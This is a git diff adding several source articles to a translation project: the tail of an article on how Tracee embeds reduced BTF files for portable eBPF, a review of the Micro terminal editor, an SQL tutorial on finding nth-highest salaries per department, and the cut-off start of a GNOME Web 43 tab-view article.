difficult when dealing with different kernel releases. + +In the end, these possible solutions can also introduce problems, and that's where Tracee works its magic. + +### A portable solution + +With a non-trivial building procedure, the Tracee project compiles a binary to be CO-RE even if the target environment doesn't provide BTF information. This is possible with the `embed` Go package that provides, at runtime, access to files embedded in the program. During the build, the continuous integration (CI) pipeline downloads, extracts, minimizes, and then embeds BTF files along with the eBPF object inside the `tracee-ebpf` resultant binary. + +Tracee can extract the right BTF file and provide it to libbpf, which in turn loads the eBPF program to run across different kernels. But how can Tracee embed all these BTF files downloaded from BTFHub without weighing too much in the end? + +It uses a feature recently introduced in bpftool by the Kinvolk team called [BTFGen][7], available using the `bpftool gen min_core_btf` subcommand. Given an eBPF program, BTFGen generates reduced BTF files, collecting just what the eBPF code needs for its run. This reduction allows Tracee to embed all these files that are now lighter (just a few kilobytes) and support kernels that don't have the `/sys/kernel/btf/vmlinux` interface exposed. + +#### Tracee build + +Here's the execution flow of the Tracee build: + +![Detailed flowchart of tracee build from tracee/3rdparty/btfhub.sh to tracee-ebpf bin compiled][8] + +Image by: (Alessio Greggi and Massimiliano Giovagnoli, CC BY-SA 4.0) + +First, you must build the `tracee-ebpf` binary, the Go program that loads the eBPF object. The Makefile provides the command `make bpf-core` to build the `tracee.bpf.core.o` object with BTF records. + +Then `STATIC=1 BTFHUB=1 make all` builds `tracee-ebpf`, which has `btfhub` targeted as a dependency. This last target runs the script `3rdparty/btfhub.sh`, which is responsible for downloading the BTFHub repositories: + +* btfhub +* btfhub-archive + +Once downloaded and placed in the `3rdparty` directory, the procedure executes the downloaded script `3rdparty/btfhub/tools/btfgen.sh`. This script generates reduced BTF files, tailored for the `tracee.bpf.core.o` eBPF binary. + +The script collects `*.tar.xz` files from `3rdparty/btfhub-archive/` to uncompress them and finally process them with bpftool, using the following command: + +``` +for file in $(find ./archive/${dir} -name *.tar.xz); do +    dir=$(dirname $file) +    base=$(basename $file) +    extracted=$(tar xvfJ $dir/$base) +    bpftool gen min_core_btf ${extracted} dist/btfhub/${extracted} tracee.bpf.core.o +done +``` + +This code has been simplified to make it easier to understand the scenario. + +Now, you have all the ingredients available for the recipe: + +* tracee.bpf.core.o eBPF object +* BTF reduced files (for all kernel releases) +* tracee-ebpf Go source code + +At this point, `go build` is invoked to do its job. Inside the `embedded-ebpf.go` file, you can find the following code: + +``` +//go:embed "dist/tracee.bpf.core.o" +//go:embed "dist/btfhub/*" +``` + +Here, the Go compiler is instructed to embed the eBPF CO-RE object with all the BTF-reduced files inside itself. Once compiled, these files will be available using the `embed.FS` file system. To have an idea of the current situation, you can imagine the binary with a file system structured like this: + +``` +dist +├── btfhub +│   ├── 4.19.0-17-amd64.btf +│   ├── 4.19.0-17-cloud-amd64.btf +│   ├── 4.19.0-17-rt-amd64.btf +│   ├── 4.19.0-18-amd64.btf +│   ├── 4.19.0-18-cloud-amd64.btf +│   ├── 4.19.0-18-rt-amd64.btf +│   ├── 4.19.0-20-amd64.btf +│   ├── 4.19.0-20-cloud-amd64.btf +│   ├── 4.19.0-20-rt-amd64.btf +│   └── ... +└── tracee.bpf.core.o +``` + +The Go binary is ready. Now to try it out! + +#### Tracee run + +Here's the execution flow of the Tracee run: + +![Flow chart of tracee run assuming BTF info is not available in the kernel, which leads to "copy btf kernel related file" and "load btf file using libbpf under the hood"][9] + +Image by: (Alessio Greggi and Massimiliano Giovagnoli, CC BY-SA 4.0) + +As the flow chart illustrates, one of the very first phases of `tracee-ebpf` execution is to discover the environment where it is running. The first condition is an abstraction of the `cmd/tracee-ebpf/initialize/bpfobject.go` file, specifically where the `BpfObject()` function takes place. The program performs some checks to understand the environment and make decisions based on it: + +1. BPF file given and BTF (vmlinux or env) exists: always load BPF as CO-RE +2. BPF file given but no BTF exists: it is a non CO-RE BPF +3. No BPF file given and BTF (vmlinux or env) exists: load embedded BPF as CO-RE +4. No BPF file given and no BTF available: check embedded BTF files +5. No BPF file given and no BTF available and no embedded BTF: non CO-RE BPF + +Here's the code extract: + +``` +func BpfObject(config *tracee.Config, kConfig *helpers.KernelConfig, OSInfo *helpers.OSInfo) error { + ... + bpfFilePath, err := checkEnvPath("TRACEE_BPF_FILE") + ... + btfFilePath, err := checkEnvPath("TRACEE_BTF_FILE") + ... + // Decision ordering: + // (1) BPF file given & BTF (vmlinux or env) exists: always load BPF as CO-RE + ... + // (2) BPF file given & if no BTF exists: it is a non CO-RE BPF + ... + // (3) no BPF file given & BTF (vmlinux or env) exists: load embedded BPF as CO-RE + ... + // (4) no BPF file given & no BTF available: check embedded BTF files + unpackBTFFile = filepath.Join(traceeInstallPath, "/tracee.btf") + err = unpackBTFHub(unpackBTFFile, OSInfo) + + if err == nil { + if debug { + fmt.Printf("BTF: using BTF file from embedded btfhub: %v\n", unpackBTFFile) + } + config.BTFObjPath = unpackBTFFile + bpfFilePath = "embedded-core" + bpfBytes, err = unpackCOREBinary() + if err != nil { + return fmt.Errorf("could not unpack embedded CO-RE eBPF object: %v", err) + } + + goto out + } + // (5) no BPF file given & no BTF available & no embedded BTF: non CO-RE BPF + ... +out: + config.KernelConfig = kConfig + config.BPFObjPath = bpfFilePath + config.BPFObjBytes = bpfBytes + + return nil +} +``` + +This analysis focuses on the fourth case, when eBPF program and BTF files are not provided to `tracee-ebpf`. At that point, `tracee-ebpf` tries to load the eBPF program extracting all the necessary files from its embed file system. `tracee-ebpf` is able to provide the files that it needs to run, even in a hostile environment. It is a sort of high-resilience mode used when none of the conditions have been satisfied. + +As you see, `BpfObject()` calls these functions in the fourth case branch: + +* unpackBTFHub() +* unpackCOREBinary() + +They extract respectively: + +* The BTF file for the underlying kernel +* The BPF CO-RE binary + +##### Unpack the BTFHub + +Now take a look starting from `unpackBTFHub()` : + +``` +func unpackBTFHub(outFilePath string, OSInfo *helpers.OSInfo) error { + var btfFilePath string + + osId := OSInfo.GetOSReleaseFieldValue(helpers.OS_ID) + versionId := strings.Replace(OSInfo.GetOSReleaseFieldValue(helpers.OS_VERSION_ID), "\"", "", -1) + kernelRelease := OSInfo.GetOSReleaseFieldValue(helpers.OS_KERNEL_RELEASE) + arch := OSInfo.GetOSReleaseFieldValue(helpers.OS_ARCH) + + if err := os.MkdirAll(filepath.Dir(outFilePath), 0755); err != nil { + return fmt.Errorf("could not create temp dir: %s", err.Error()) + } + + btfFilePath = fmt.Sprintf("dist/btfhub/%s/%s/%s/%s.btf", osId, versionId, arch, kernelRelease) + btfFile, err := embed.BPFBundleInjected.Open(btfFilePath) + if err != nil { + return fmt.Errorf("error opening embedded btfhub file: %s", err.Error()) + } + defer btfFile.Close() + + outFile, err := os.Create(outFilePath) + if err != nil { + return fmt.Errorf("could not create btf file: %s", err.Error()) + } + defer outFile.Close() + + if _, err := io.Copy(outFile, btfFile); err != nil { + return fmt.Errorf("error copying embedded btfhub file: %s", err.Error()) + + } + + return nil +} +``` + +The function has a first phase where it collects information about the running kernel (`osId`, `versionId`, `kernelRelease`, etc). Then, it creates the directory that is going to host the BTF file (`/tmp/tracee` by default). It retrieves the right BTF file from the `embed` file system: + +``` +btfFile, err := embed.BPFBundleInjected.Open(btfFilePath) +``` + +Finally, it creates and fills the file. + +##### Unpack the CORE Binary + +The `unpackCOREBinary()` function does a similar thing: + +``` +func unpackCOREBinary() ([]byte, error) { + b, err := embed.BPFBundleInjected.ReadFile("dist/tracee.bpf.core.o") + if err != nil { + return nil, err + } + + if debug.Enabled() { + fmt.Println("unpacked CO:RE bpf object file into memory") + } + + return b, nil +} +``` + +Once the main function `BpfObject()` returns, `tracee-ebpf` is ready to load the eBPF binary through `libbpfgo`. This is done in the `initBPF()` function, inside `pkg/ebpf/tracee.go`. Here's the configuration of the program execution: + +``` +func (t *Tracee) initBPF() error { + ... + newModuleArgs := bpf.NewModuleArgs{ + KConfigFilePath: t.config.KernelConfig.GetKernelConfigFilePath(), + BTFObjPath:      t.config.BTFObjPath, + BPFObjBuff:      t.config.BPFObjBytes, + BPFObjName:      t.config.BPFObjPath, + } + + // Open the eBPF object file (create a new module) + + t.bpfModule, err = bpf.NewModuleFromBufferArgs(newModuleArgs) + if err != nil { + return err + } + ... +} +``` + +In this piece of code we are initializing the eBPF args filling the libbfgo structure `NewModuleArgs{}`. Through its `BTFObjPath` argument, we are able to instruct libbpf to use the BTF file, previously extracted by the `BpfObject()` function. + +At this point, `tracee-ebpf` is ready to run properly! + +![Illustration of the kernel][10] + +Image by: (Alessio Greggi and Massimiliano Giovagnoli, CC BY-SA 4.0) + +##### eBPF module initialization + +Next, during the execution of the `Tracee.Init()` function, the configured arguments will be used to open the eBPF object file: + +``` +Tracee.bpfModule = libbpfgo.NewModuleFromBufferArgs(newModuleArgs) +``` + +Initialize the probes: + +``` +t.probes, err = probes.Init(t.bpfModule, netEnabled) +``` + +Load the eBPF object into kernel: + +``` +err = t.bpfModule.BPFLoadObject() +``` + +Populate eBPF maps with initial data: + +``` +err = t.populateBPFMaps() +``` + +And finally, attach eBPF programs to selected events' probes: + +``` +err = t.attachProbes() +``` + +### Conclusion + +Just as eBPF simplified the way to program the kernel, CO-RE is tackling another barrier. But leveraging such features has some requirements. Fortunately, with Tracee, the Aqua Security team found a way to take advantage of portability in case those requirements can't be satisfied. + +At the same time, we're sure that this is only the beginning of a continuously evolving subsystem that will find increasing support over and over, even in different operating systems. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/ebpf-monitor-traffic-tracee + +作者:[Alessio Greggi][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alegrey91 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/mesh_networking_dots_connected.png +[2]: https://opensource.com/article/22/8/ebpf-network-observability-cloud +[3]: https://github.com/aquasecurity/btfhub/blob/main/docs/supported-distros.md +[4]: https://github.com/aquasecurity/tracee +[5]: https://aquasecurity.github.io/tracee/dev/building/nocore-ebpf/#install-the-non-co-re-ebpf-object +[6]: https://github.com/aquasecurity/btfhub-archive +[7]: https://kinvolk.io/blog/2022/03/btfgen-one-step-closer-to-truly-portable-ebpf-programs/ +[8]: https://opensource.com/sites/default/files/2022-08/tracee%20build.png +[9]: https://opensource.com/sites/default/files/2022-08/tracee%20run.png +[10]: https://opensource.com/sites/default/files/2022-08/tracee%20bpf.png diff --git a/sources/tech/20220901 Micro- Making File Editing Easier in Linux Terminal.md b/sources/tech/20220901 Micro- Making File Editing Easier in Linux Terminal.md new file mode 100644 index 0000000000..3268a7af74 --- /dev/null +++ b/sources/tech/20220901 Micro- Making File Editing Easier in Linux Terminal.md @@ -0,0 +1,130 @@ +[#]: subject: "Micro: Making File Editing Easier in Linux Terminal" +[#]: via: "https://itsfoss.com/micro-editor-linux/" +[#]: author: "sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Micro: Making File Editing Easier in Linux Terminal +====== + +While [modern open source code editors][1] have taken the programming world by storm, Linux command line is still ruled by a selected set of text editors. Popular [command line editors][2] like [Vim][3] and Emacs are also infamous for their weird keyboard shortcuts. + +There are several jokes about those weird keyboard shortcuts in the programming world. [Exiting Vim][4] is perhaps the most common of them all. Here’s an example. + +![vim shortcut linux humor][5] + +**[Micro is a modern terminal-based text editor][6]** that attempts to take the pain of keyboard shortcuts and provide popular shortcuts as well as mouse supports. + +Micro is made with [the GO Programming Language][7]. It’s actively being developed by [Zachary Yedidia][8] and many other open source enthusiasts are contributing to it. + +According to [Micro’s GitHub project][9] documentation, + +> Micro aims to be easy to use and intuitive, while also taking advantage of the full capabilities of modern terminals. + +And that’s true. You’re probably wondering what’s special about this one, there are plenty of other terminal-based text editors out there. The answer is that Micro is so easy to use that the learning curve is almost flat, you don’t need to learn anything new, and it has some very interesting features. + +### Features + +![Micro editor interface][10] + +Some of the main highlights of the Micro editor are: + +* Support for universal keyboard shortcuts (Ctrl-S, Ctrl-C, Ctrl-V, Ctrl-Z etc.) +* Syntax highlighting ( for over 130 languages) +* Color scheme and True Color support +* Search and Replace feature +* Common editor features such as Undo and Redo, Unicode support, Line numbering, Soft wrapping etc. +* Copy and Paste from the system clipboard +* Configurable +* Simple auto-completion. +* Splits and tabs +* Good Mouse Support such as drag to select, double click to select a word, triple-click to select by line etc. +* Plug-in support and a built-in plugin manager to automatically install, remove, and update plugins. +* Macros +* Cross Platform + +### Installation + +Micro is available in the repositories of all major distributions. In Ubuntu, you can install it with: + +``` +sudo apt install micro +``` + +This will install `xclip` as a dependency for clipboard functionality. + +Additionally, you can download the pre-built binary from the link below: + +[Download Micro][11] + +Once you download it, extract the file and you’ll find the binary file inside it. Copy this binary file to your /bin directory. And then, you can run it in the terminal using the command “micro”. + +For clipboard support, you need `xclip` and `xsel`  packages. In Ubuntu and other Ubuntu based Linux distributions, you can use the following command to install it: + +``` +sudo apt install xclip +``` + +For detailed information on configuring Micro, [see here][12]. + +![Micro Terminal Text Editor split view with multiple files opened][13] + +### Essential commands and shortcuts + +| Function | Command | +| :- | :- | +| Open a File in Micro | micro [FILENAME] | +| To List Available Plug-Ins | micro -plugin available | +| To Install a  Plug-In | micro -plugin install [PLUGIN] | +| To Remove a Plug-In | micro -plugin remove [PLUGIN] | +| To Execute a Command inside Micro | Ctrl + E | +| To Split open a file Horizontally through command | hsplit [FILENAME] | +| To Split open a file Vertically through command | vsplit [FILENAME] | +| To get Help inside Micro Editor | Ctrl + G | +| To Save a File | Ctrl + S | +| To Copy Text Inside Micro | Ctrl + C | +| To Paste Text Inside Micro | Ctrl + V | +| To Close Micro Editor | Ctrl + Q | +| To Move Through Available Commands | TAB (Shift + Tab for reverse direction) | + +[Download Micro Editor Quick Cheat Sheet][14] + +[Download][15] + +### Thoughts about Micro? + +I think that Micro’s a pretty good tool for text editing. Though it’s not feature-rich like Vim or other mature text editors, it can easily replace tools like Nano for occasional file editing in the terminal. + +If you often have to edit files in the terminal but you don’t feel too comfortable with Vim, give it a try and tell us about your experience. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/micro-editor-linux/ + +作者:[sreenath][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[2]: https://itsfoss.com/command-line-text-editors-linux/ +[3]: https://www.vim.org/ +[4]: https://itsfoss.com/how-to-exit-vim/ +[5]: https://itsfoss.com/wp-content/uploads/2022/08/vim-shortcut-linux-humor.jpeg +[6]: https://micro-editor.github.io/ +[7]: https://golang.org/ +[8]: https://github.com/zyedidia +[9]: https://github.com/zyedidia/micro +[10]: https://itsfoss.com/wp-content/uploads/2022/08/emmabuntus.jpg +[11]: https://github.com/zyedidia/micro/releases +[12]: https://github.com/zyedidia/micro#configuration +[13]: https://itsfoss.com/wp-content/uploads/2022/08/micro-terminal-text-editor-split-view-with-multiple-files-opened.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/micro-command-line-text-editor-cheat-sheet.pdf +[15]: https://itsfoss.com/wp-content/uploads/2022/08/micro-command-line-text-editor-cheat-sheet.pdf diff --git a/sources/tech/20220902 How to display the presence and absence of nth-highest group-wise values in SQL.md b/sources/tech/20220902 How to display the presence and absence of nth-highest group-wise values in SQL.md new file mode 100644 index 0000000000..a9e8017b3c --- /dev/null +++ b/sources/tech/20220902 How to display the presence and absence of nth-highest group-wise values in SQL.md @@ -0,0 +1,307 @@ +[#]: subject: "How to display the presence and absence of nth-highest group-wise values in SQL" +[#]: via: "https://opensource.com/article/22/9/nth-highest-values-sql" +[#]: author: "Mohammed Kamil Khan https://opensource.com/users/kamilk98" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to display the presence and absence of nth-highest group-wise values in SQL +====== +A step-by-step breakdown of the query. + +![Digital creative of a browser on the internet][1] + +While skimming through SQL to prepare for interviews, I often come across this question: Find the employee with the highest or (second-highest) salary by joining a table containing employee information with another that contains department information. This raises a further question: What about finding the employee who earns the nth-highest salary department-wide? + +Now I want to pose a more complex scenario: What will happen when a department doesn't have an employee earning the nth-highest salary? For example, a department with only two employees will not have an employee earning the third-highest salary. + +Here's my approach to this question: + +### Create department and employee tables + +I create a table that includes fields such as `dept_id` and `dept_name`. + +``` +CREATE TABLE department ( +    dept_id INT, +    dept_name VARCHAR(60) +); +``` + +Now I insert various departments into the new table. + +``` +INSERT INTO department (dept_id,dept_name) +VALUES (780,'HR'); +INSERT INTO department (dept_id,dept_name) +VALUES (781,'Marketing'); +INSERT INTO department (dept_id,dept_name) +VALUES (782,'Sales'); +INSERT INTO department (dept_id,dept_name) +VALUES (783,'Web Dev'); +``` + +![A table showing the data from the earlier code snippets with the columns "Department ID" and "Department Name"][2] + +igure 1. The department table + +Next, I create another table incorporating the fields `first_name`, `last_name`, `dept_id`, and `salary`. + +``` +CREATE TABLE employee ( +    first_name VARCHAR(100), +    last_name VARCHAR(100), +    dept_id INT, +    salary INT +); +``` + +Then I insert values into the table: + +``` +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Sam','Burton',781,80000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Peter','Mellark',780,90000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Happy','Hogan',782,110000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Steve','Palmer',782,120000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Christopher','Walker',783,140000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Richard','Freeman',781,85000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Alex','Wilson',782,115000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Harry','Simmons',781,90000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Thomas','Henderson',780,95000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Ronald','Thompson',783,130000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('James','Martin',783,135000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Laurent','Fisher',780,100000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Tom','Brooks',780,85000); +INSERT INTO employee (first_name,last_name,dept_id,salary) +VALUES ('Tom','Bennington',783,140000); +``` + +![A table showing data from the earlier code snippets with first name, last name, dept ID, and salary columns, ordered by department ID number][3] + +Figure 2. A table of employees ordered by department ID + +I can infer the number of employees in each department using this table (department ID:number of employees): + +* 780:4 +* 781:3 +* 782:3 +* 783:4 + +If I want the view the second-highest-earning employees from different departments, along with their department's name (using `DENSE_RANK` ), the table will be as follows: + +![A table with department ID, department name, first name, last name, and salary columns, listing the second-highest-earning employee in each of four departments, ordered from lowest to highest salary][4] + +Figure 3. The second-highest-earning employee in each department + +If I apply the same query to find the fourth-highest-earning employees, the output will be only Tom Brooks of department 780 (HR), with a salary of $85,000. + +![The table listing fourth-highest-earning employees lists only one employee.][5] + +Figure 4. The fourth-highest-earning employee + +Though department 783 (Web Dev) has four employees, two (James Martin and Ronald Thompson) will be classified as the third-highest-earning employees of that department, since the top two earners have the same salary. + +### Finding the nth highest + +Now, to the main question: What if I want to display the `dept_ID` and `dept_name` with null values for employee-related fields for departments that do not have an nth-highest-earning employee? + +![The list of fourth-highest-earning employee by department, showing "null" in the first name, last name, and salary columns for departments that do not have a fourth-highest earner.][6] + +Figure 5. All departments listed, whether or not they have an nth-highest-earning employee + +The table displayed in Figure 5 is what I am aiming to obtain when specific departments do not have an nth-highest-earning employee: The marketing, sales, and web dev departments are listed, but the name and salary fields contain a null value. + +The ultimate query that helps obtain the table in Figure 5 is as follows: + +``` +SELECT * FROM (WITH null1 AS (SELECT A.dept_id, A.dept_name, A.first_name, A.last_name, A.salary +FROM (SELECT * FROM ( +SELECT department.dept_id, department.dept_name, employee.first_name, employee.last_name, +employee.salary, DENSE_RANK() OVER (PARTITION BY employee.dept_id ORDER BY employee.salary DESC) AS Rank1 +FROM employee INNER JOIN department +ON employee.dept_id=department.dept_id) AS k +WHERE rank1=4)A), +full1 AS (SELECT dept_id, dept_name FROM department WHERE dept_id NOT IN (SELECT dept_id FROM null1 WHERE dept_id IS NOT NULL)), +nulled AS(SELECT +CASE WHEN null1.dept_id IS NULL THEN full1.dept_id ELSE null1.dept_id END, +CASE WHEN null1.dept_name IS NULL THEN full1.dept_name ELSE null1.dept_name END, +first_name,last_name,salary +FROM null1 RIGHT JOIN full1 ON null1.dept_id=full1.dept_id) +SELECT * FROM null1 +UNION +SELECT * FROM nulled +ORDER BY dept_id) +B; +``` + +### Breakdown of the query + +I will break down the query to make it less overwhelming. + +Use `DENSE_RANK()` to display employee and department information (not involving null for the absence of the nth-highest-earning member): + +``` +SELECT * FROM ( +  SELECT department.dept_id, department.dept_name, employee.first_name, employee.last_name, +   employee.salary, DENSE_RANK() OVER (PARTITION BY employee.dept_id ORDER BY employee.salary DESC) AS Rank1 +   FROM employee INNER JOIN department +   ON employee.dept_id=department.dept_id) AS k +   WHERE rank1=4 +``` + +Output: + +![A table of the fourth-highest earners showing only the department with a fourth-highest earner][7] + +Figure 6. The fourth-highest earner + +Exclude the `rank1` column from the table in Figure 6, which identifies only one employee with a fourth-highest salary, even though there are four employees in another department. + +``` +SELECT A.dept_id, A.dept_name, A.first_name, A.last_name, A.salary +    FROM (SELECT * FROM ( +  SELECT department.dept_id, department.dept_name, employee.first_name, employee.last_name, +   employee.salary, DENSE_RANK() OVER (PARTITION BY employee.dept_id ORDER BY employee.salary DESC) AS Rank1 +   FROM employee INNER JOIN department +   ON employee.dept_id=department.dept_id) AS k +   WHERE rank1=4)A +``` + +Output: + +![The fourth-highest earner table (table six) without the rank 1 column][8] + +Figure 7. The fourth-highest earner table without the rank 1 column + +Point out the departments from the department table that do not have an nth-highest-earning employee: + +``` +SELECT * FROM (WITH null1 AS (SELECT A.dept_id, A.dept_name, A.first_name, A.last_name, A.salary +    FROM (SELECT * FROM ( +  SELECT department.dept_id, department.dept_name, employee.first_name, employee.last_name, +   employee.salary, DENSE_RANK() OVER (PARTITION BY employee.dept_id ORDER BY employee.salary DESC) AS Rank1 +   FROM employee INNER JOIN department +   ON employee.dept_id=department.dept_id) AS k +   WHERE rank1=4)A), +full1 AS (SELECT dept_id, dept_name FROM department WHERE dept_id NOT IN (SELECT dept_id FROM null1 WHERE dept_id IS NOT NULL)) +SELECT * FROM full1)B +``` + +Output: + +![The full1 table listing the departments without a fourth-highest earner by department ID and name: marketing, sales, web dev][9] + +Figure 8. The full1 table listing the departments without a fourth-highest earner + +Replace `full1` in the last line of the above code with `null1` : + +``` +SELECT * FROM (WITH null1 AS (SELECT A.dept_id, A.dept_name, A.first_name, A.last_name, A.salary +    FROM (SELECT * FROM ( +  SELECT department.dept_id, department.dept_name, employee.first_name, employee.last_name, +   employee.salary, DENSE_RANK() OVER (PARTITION BY employee.dept_id ORDER BY employee.salary DESC) AS Rank1 +   FROM employee INNER JOIN department +   ON employee.dept_id=department.dept_id) AS k +   WHERE rank1=4)A), +full1 AS (SELECT dept_id, dept_name FROM department WHERE dept_id NOT IN (SELECT dept_id FROM null1 WHERE dept_id IS NOT NULL)) +SELECT * FROM null1)B +``` + +![The null1 table listing all departments, with null values for those without a fourth-highest earner][10] + +Figure 9. The null1 table listing all departments, with null values for those without a fourth-highest earner + +Now, I fill the null values of the `dept_id` and `dept_name` fields in Figure 9 with the corresponding values from Figure 8. + +``` +SELECT * FROM (WITH null1 AS (SELECT A.dept_id, A.dept_name, A.first_name, A.last_name, A.salary +    FROM (SELECT * FROM ( +  SELECT department.dept_id, department.dept_name, employee.first_name, employee.last_name, +   employee.salary, DENSE_RANK() OVER (PARTITION BY employee.dept_id ORDER BY employee.salary DESC) AS Rank1 +   FROM employee INNER JOIN department +   ON employee.dept_id=department.dept_id) AS k +   WHERE rank1=4)A), +full1 AS (SELECT dept_id, dept_name FROM department WHERE dept_id NOT IN (SELECT dept_id FROM null1 WHERE dept_id IS NOT NULL)), +nulled AS(SELECT +CASE WHEN null1.dept_id IS NULL THEN full1.dept_id ELSE null1.dept_id END, +CASE WHEN null1.dept_name IS NULL THEN full1.dept_name ELSE null1.dept_name END, +first_name,last_name,salary +FROM null1 RIGHT JOIN full1 ON null1.dept_id=full1.dept_id) +SELECT * FROM nulled) B; +``` + +![The table with department id, department name, first name, last name, and salary columns, with null values in the name and salary columns][11] + +Figure 10. The result of the nulled query + +The nulled query uses `CASE WHEN` on the nulls encountered in the `dept_id` and `dept_name` columns of the `null1` table and replaces them with the corresponding values in the `full1` table. Now all I need to do is apply `UNION` to the tables obtained in Figure 7 and Figure 10. This can be accomplished by declaring the last query in the previous code using `WITH` and then `UNION` -izing it with `null1`. + +``` +SELECT * FROM (WITH null1 AS (SELECT A.dept_id, A.dept_name, A.first_name, A.last_name, A.salary +FROM (SELECT * FROM ( +SELECT department.dept_id, department.dept_name, employee.first_name, employee.last_name, +employee.salary, DENSE_RANK() OVER (PARTITION BY employee.dept_id ORDER BY employee.salary DESC) AS Rank1 +FROM employee INNER JOIN department +ON employee.dept_id=department.dept_id) AS k +WHERE rank1=4)A), +full1 AS (SELECT dept_id, dept_name FROM department WHERE dept_id NOT IN (SELECT dept_id FROM null1 WHERE dept_id IS NOT NULL)), +nulled AS(SELECT +CASE WHEN null1.dept_id IS NULL THEN full1.dept_id ELSE null1.dept_id END, +CASE WHEN null1.dept_name IS NULL THEN full1.dept_name ELSE null1.dept_name END, +first_name,last_name,salary +FROM null1 RIGHT JOIN full1 ON null1.dept_id=full1.dept_id) +SELECT * FROM null1 +UNION +SELECT * FROM nulled +ORDER BY dept_id) +B; +``` + +![The complete table: department ID, department name, first name, last name, salary columns. The first row contains the information of the one fourth-highest earner, and the next three columns show the remaining departments, with ID, and null value in the other three columns.][12] + +Figure 11. The final result + +Now I can infer from Figure 11 that marketing, sales, and web dev are the departments that do not have any employees earning the fourth-highest salary. + +Image By: (Mohammed Kamil Khan, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/nth-highest-values-sql + +作者:[Mohammed Kamil Khan][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/kamilk98 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png +[2]: https://opensource.com/sites/default/files/2022-08/fig.%201%20sql.png +[3]: https://opensource.com/sites/default/files/2022-08/FIG%202%20sql.png +[4]: https://opensource.com/sites/default/files/2022-08/fig%203%20sql.png +[5]: https://opensource.com/sites/default/files/2022-08/fg%204%20sql.png +[6]: https://opensource.com/sites/default/files/2022-08/fig%205%20sql.png +[7]: https://opensource.com/sites/default/files/2022-08/fig%206%20sql.png +[8]: https://opensource.com/sites/default/files/2022-08/fig%207%20sql.png +[9]: https://opensource.com/sites/default/files/2022-08/fig%208%20sql.png +[10]: https://opensource.com/sites/default/files/2022-08/fig%209%20sql.png +[11]: https://opensource.com/sites/default/files/2022-08/fig%2010%20sql.png +[12]: https://opensource.com/sites/default/files/2022-08/fig%2011%20sql.png diff --git a/sources/tech/20220903 GNOME Web 43 Looks Beautiful with Adwaita Tab View.md b/sources/tech/20220903 GNOME Web 43 Looks Beautiful with Adwaita Tab View.md new file mode 100644 index 0000000000..cc600bbf46 --- /dev/null +++ b/sources/tech/20220903 GNOME Web 43 Looks Beautiful with Adwaita Tab View.md @@ -0,0 +1,106 @@ +[#]: subject: "GNOME Web 43 Looks Beautiful with Adwaita Tab View" +[#]: via: "https://www.debugpoint.com/gnome-web-43-tab-view/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +GNOME Web 43 Looks Beautiful with Adwaita Tab View +====== +GNOME Web 43 Tab View looks awesome and its going to change your workflow. + +Our beloved GNOME Web (Epiphany) becoming more and more intuitive in every passing day – thanks to the developers. + +Recently, it has been ported to GTK4, libadwaita which brings the nice looks overall and some cool new features. All of these changes arriving on [GNOME 43][1] release due in a few weeks. + +### GNOME Web 43 Tab View + +In my opinion, the most cool feature of GNOME Web 43 is the Tab view. Here’s how it looks. + +![GNOME Web 43 Tab View][2] + +Cool, isn’t it? Here are the key features. + +The GNOME Web 43 tab view brings small and **responsive preview of all the open tabs** in a single page. It’s a different view in GNOME Web 43 and do not get confused with the default recent page view. + +A **new toolbar button** at the top bar of GNOME Web kicks off this view. Its a **toggle** button, that means – to turn off this view, simply click again. + +Next, the tab view is **responsive** in nature. That means, as you keep on adding tabs, the tab views **resizes** itself by calculating available space from the size of parent Web dialog. + +Since the GNOME Web 43 tab view is completely different page of the Web, it has two additional controls. + +First is a **search button** at the left top section of Tab view which enables you to search the *titles*of the open tabs. Its dynamic and search result arrives in the same page. + +Secondly, a new Tab button at the bottom helps you to **create a new tab** from Web’s Tab view page itself. That means, you don’t need to go to the horizontal tab view to create a tab. + +Also, if you press escape in this view, you go back to the main view. Finally a total tab count at the top section – gives you a hint of how many tabs you have opened. + +### Video + +Here’s a nice video which I prepared to show you 